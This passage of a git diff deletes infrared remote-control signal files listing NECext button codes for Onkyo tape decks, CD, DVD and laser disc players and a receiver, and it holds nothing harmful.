-protocol: NECext -address: D2 0D 00 00 -command: 89 00 00 00 -# -name: TAPE_DISPLAY -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8A 00 00 00 -# -name: TAPE_LAP/REM -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8A 00 00 00 -# -name: TAPE_OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8B 00 00 00 -# -name: TAPE_EJECT -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8B 00 00 00 -# -name: TAPE_8 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8C 00 00 00 -# -name: TAPE_9 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8D 00 00 00 -# -name: TAPE_0 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8E 00 00 00 -# -name: TAPE_+10 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8F 00 00 00 -# -name: TAPE_10_+ -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 8F 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 90 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 91 00 00 00 -# -name: TAPE_3 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 92 00 00 00 -# -name: TAPE_4 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 93 00 00 00 -# -name: TAPE_5 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 98 00 00 00 -# -name: TAPE_6 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 99 00 00 00 -# -name: TAPE_7 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9A 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9C 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9D 00 00 00 -# -name: TAPE_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9E 00 00 00 -# -name: TAPE_PLAY_R._< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9E 00 00 00 -# -name: TAPE_PLAY_REV._< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9E 00 00 00 -# -name: TAPE_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9E 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9F 00 00 00 -# -name: TAPE_REC/PAUSE_O/ -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 9F 00 00 00 -# -name: TAPE_EDIT_> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C2 00 00 00 -# -name: TAPE_EDIT_< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C3 00 00 00 -# -name: TAPE_INDEX -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C4 00 00 00 -# -name: TAPE_INTRO -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C5 00 00 00 -# -name: TAPE_SHUFFLE -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C6 00 00 00 -# -name: TAPE_RANDOM -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: C6 00 00 00 -# -name: TAPE_AUTO_SPACE -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: CC 00 00 00 -# -name: TAPE_TIME_EDIT -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: CD 00 00 00 -# -name: TAPE_MEMORY_SHIFT -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: CE 00 00 00 -# -name: TAPE_10 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: CF 00 00 00 -# -name: TAPE_11 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D0 00 00 00 -# -name: TAPE_12 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D1 00 00 00 -# -name: TAPE_13 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D2 00 00 00 -# -name: TAPE_14 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D3 00 00 00 -# -name: TAPE_15 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D4 00 00 00 -# -name: TAPE_16 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D5 00 00 00 -# -name: TAPE_17 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D6 00 00 00 -# -name: TAPE_18 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D7 00 00 00 -# -name: TAPE_19 -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: D8 00 00 00 -# -name: TAPE_DISC -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: DA 00 00 00 -# -name: TAPE_TRACK -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir deleted file mode 100644 index 5fd619fa7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_FAST_FWD_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: CD_FAST_REV_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: CD_VOL_+ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 02 00 00 00 -# -name: CD_VOLUME_^ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 02 00 00 00 -# -name: CD_VOL_- -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 03 00 00 00 -# -name: CD_VOLUME_V -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 03 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 06 00 00 00 -# -name: CD_A-B -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 07 00 00 00 -# -name: CD_CLEAR -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 08 00 00 00 -# -name: CD_MEMORY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 09 00 00 00 -# -name: CD_DISPLAY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0A 00 00 00 -# -name: CD_LAP/MEM -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0A 00 00 00 -# -name: CD_OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0B 00 00 00 -# -name: CD_EJECT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0B 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0C 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0D 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0E 00 00 00 -# -name: CD_+10 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0F 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 10 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 11 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 12 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 13 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 18 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 19 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_FF_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1F 00 00 00 -# -name: CD_EDIT_> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 42 00 00 00 -# -name: CD_EDIT_-> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 42 00 00 00 -# -name: CD_EDIT_< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 43 00 00 00 -# -name: CD_EDIT_<- -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 43 00 00 00 -# -name: CD_INDEX -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 44 00 00 00 -# -name: CD_INTRO -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 45 00 00 00 -# -name: CD_SHUFFLE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 46 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 46 00 00 00 -# -name: CD_AUTO_SPACE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 4C 00 00 00 -# -name: CD_TIME_EDIT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 4D 00 00 00 -# -name: CD_MEMORY_SHIFT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 4E 00 00 00 -# -name: CD_10 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 4F 00 00 00 -# -name: CD_11 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 50 00 00 00 -# -name: CD_12 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 51 00 00 00 -# -name: CD_13 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 52 00 00 00 -# -name: CD_14 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 53 00 00 00 -# -name: CD_15 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 54 00 00 00 -# -name: CD_16 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 55 00 00 00 -# -name: CD_17 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 56 00 00 00 -# -name: CD_18 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 57 00 00 00 -# -name: CD_19 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 58 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5A 00 00 00 -# -name: CD_TRACK -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5B 00 00 00 -# -name: CD_DISC_SKIP_+ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5C 00 00 00 -# -name: CD_PEAK_SEARCH -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5D 00 00 00 -# -name: CD_DISC_SKIP_- -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir deleted file mode 100644 index 503e9f85d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 04 00 00 00 -# -name: DECKA_OPEN/CLOSE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 05 00 00 00 -# -name: DECKA_SRCH_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 06 00 00 00 -# -name: DECKA_SRCH_REV_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 07 00 00 00 -# -name: DECKA_REC/MUTE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 0B 00 00 00 -# -name: DECKA_STOP_[] -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 0C 00 00 00 -# -name: DECKA_PLAY_> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 0D 00 00 00 -# -name: DECKA_REVERSE_PLAY_< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 0E 00 00 00 -# -name: DECKA_REC/PAUSE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 10 00 00 00 -# -name: DECKA_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 11 00 00 00 -# -name: DECKA_REW_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 12 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 13 00 00 00 -# -name: DECKB_STOP_[] -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 13 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 15 00 00 00 -# -name: DECKB_PLAY_> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 15 00 00 00 -# -name: PLAY_R._< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 16 00 00 00 -# -name: PLAY_REVERSE_< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 16 00 00 00 -# -name: DECKB_REVERSE_PLAY< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 16 00 00 00 -# -name: REC/PAUSE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 18 00 00 00 -# -name: DECKB_REC/PAUSE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 18 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 19 00 00 00 -# -name: DECKB_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 19 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1A 00 00 00 -# -name: DECKB_REW_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1A 00 00 00 -# -name: REC/MUTE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1B 00 00 00 -# -name: DECKB_REC/MUTE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1B 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1D 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 1E 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 48 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 49 00 00 00 -# -name: DECKA_RESET -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 4A 00 00 00 -# -name: DECKA_TAPE_SIZE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 4B 00 00 00 -# -name: DECKB_OPEN/CLOSE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 53 00 00 00 -# -name: SRCH_REV_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 54 00 00 00 -# -name: DECKB_SRCH_REV_<< -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 54 00 00 00 -# -name: SRCH_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 55 00 00 00 -# -name: DECKB_SRCH_FWD_>> -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 55 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5D 00 00 00 -# -name: DECKB_RESET -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5D 00 00 00 -# -name: ELAPSE_REMAIN -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5E 00 00 00 -# -name: ELAPSED/REMAIN -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5E 00 00 00 -# -name: T-SIZE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5F 00 00 00 -# -name: TAPE_SIZE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5F 00 00 00 -# -name: DECKB_TAPE_SIZE -type: parsed -protocol: NECext -address: 84 59 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir deleted file mode 100644 index a3a268099..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_[] -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 13 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 15 00 00 00 -# -name: PLAY_REV_< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 16 00 00 00 -# -name: REC/PAUSE_O/ -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 18 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 19 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1A 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1B 00 00 00 -# -name: MUSIC_SEARCH_>> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 1D 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir deleted file mode 100644 index c0a5e712f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 05 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 07 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 09 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 17 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 44 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 45 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 46 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 48 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4B 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 54 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 55 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 56 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir deleted file mode 100644 index 92c0cb033..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir deleted file mode 100644 index b6da68490..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: AUDIO_DIGITAL/ANALOG -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0E 00 00 00 -# -name: SRCH_FWD_>>_(FF) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SRCH_REV_<<_(FR) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHPT/FT_TRACK/TIME -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP/OPEN -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY_>_(PGM_CORRECT) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: MULTI_SPEED_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: MULTI_SPEED_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: DISC_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: DISC_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: STILL_STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: SKIP_FWD>>_(UP) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SKIP_REV<<_(DOWN) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STILL_STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir deleted file mode 100644 index 5d74d922d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MULTI-CH_INPUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: DSP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 3/DSP> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: 6/DSP< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: INPUT_SELECTOR_> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECTOR_< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 1F 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: SURR_CH_SEL_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: SURR_CH_SEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: CH_SEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: CH_SEL/TOP_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: SURR_CH_SEL -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: SURR_MODE_< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 45 00 00 00 -# -name: STNBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 